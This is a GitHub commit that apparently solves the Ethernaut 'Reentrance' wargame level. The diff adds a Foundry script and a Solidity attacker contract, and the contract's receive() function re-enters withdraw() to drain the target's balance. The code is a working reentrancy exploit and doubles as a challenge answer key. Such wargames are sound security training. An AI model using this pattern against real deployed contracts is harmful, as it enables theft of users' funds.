Skip to content

Commit

Permalink
complete 10-Reentrance
Browse files Browse the repository at this point in the history
  • Loading branch information
tannerang committed Jan 23, 2024
1 parent f361a11 commit f7ab5bd
Show file tree
Hide file tree
Showing 2 changed files with 33 additions and 3 deletions.
8 changes: 5 additions & 3 deletions script/solutions/10-Reentrance.s.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
import {EthernautHelper} from "../setup/EthernautHelper.sol";

// NOTE You can import your helper contracts & create interfaces here
import "../../src/10-ReentranceAttacker.sol";

contract ReentranceSolution is Script, EthernautHelper {
address constant LEVEL_ADDRESS = 0x2a24869323C0B13Dff24E196Ba072dC790D52479;
Expand All @@ -13,11 +14,12 @@ contract ReentranceSolution is Script, EthernautHelper {
function run() public {
vm.startBroadcast(heroPrivateKey);
// NOTE this is the address of your challenge contract
address challengeInstance = createInstance(LEVEL_ADDRESS);
// NOTE Must send at least 0.001 ETH
address challengeInstance = __createInstance(LEVEL_ADDRESS);

// YOUR SOLUTION HERE


ReentranceAttacker reentranceAttacker = new ReentranceAttacker{value: 0.001 ether}(challengeInstance);
reentranceAttacker.attack();

// SUBMIT CHALLENGE. (DON'T EDIT)
bool levelSuccess = submitInstance(challengeInstance);
Expand Down
28 changes: 28 additions & 0 deletions src/10-ReentranceAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}

contract ReentranceAttacker {
address public challengeInstance;

constructor(address _challengeInstance) payable {
challengeInstance = _challengeInstance;
}

function attack() external {
IReentrance(challengeInstance).donate{value: 0.001 ether}(address(this));
IReentrance(challengeInstance).withdraw(0.001 ether);
}

receive() external payable {
uint balance = IReentrance(challengeInstance).balanceOf(address(this));
if (balance > 0) {
IReentrance(challengeInstance).withdraw(balance);
}
}
}

0 comments on commit f7ab5bd

Please sign in to comment.